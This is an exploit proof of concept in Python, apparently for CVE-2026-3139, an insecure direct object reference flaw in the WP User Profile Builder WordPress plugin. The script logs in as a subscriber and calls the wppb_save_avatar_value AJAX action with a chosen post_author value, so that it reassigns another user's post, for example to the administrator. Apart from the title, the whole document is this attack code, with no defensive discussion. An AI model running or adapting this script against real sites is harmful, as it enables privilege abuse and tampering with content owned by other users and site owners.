CVE-2026-3139: WP User Profile Builder IDOR漏洞

import requests # Target configuration target_url = "https://example.com/wp-admin/admin-ajax.php" username = "subscriber_user" password = "password123" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() login_payload = { "log": username, "pwd": password, "redirect_to": "https://example.com/wp-admin/", "wp-submit": "Log In" } session.post("https://example.com/wp-login.php", data=login_payload) # 2. Exploit the IDOR vulnerability # The vulnerable function wppb_save_avatar_value() accepts a post_author parameter # without checking if the current user owns the post or has permission to change it. exploit_payload = { "action": "wppb_save_avatar_value", "post_id": "123", # ID of the target post to hijack "post_author": "1", # ID of the target user (e.g., Admin) "meta_data": "some_value" # Other required parameters by the function } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Exploit successful! Post author likely changed.") else: print("[-] Exploit failed.")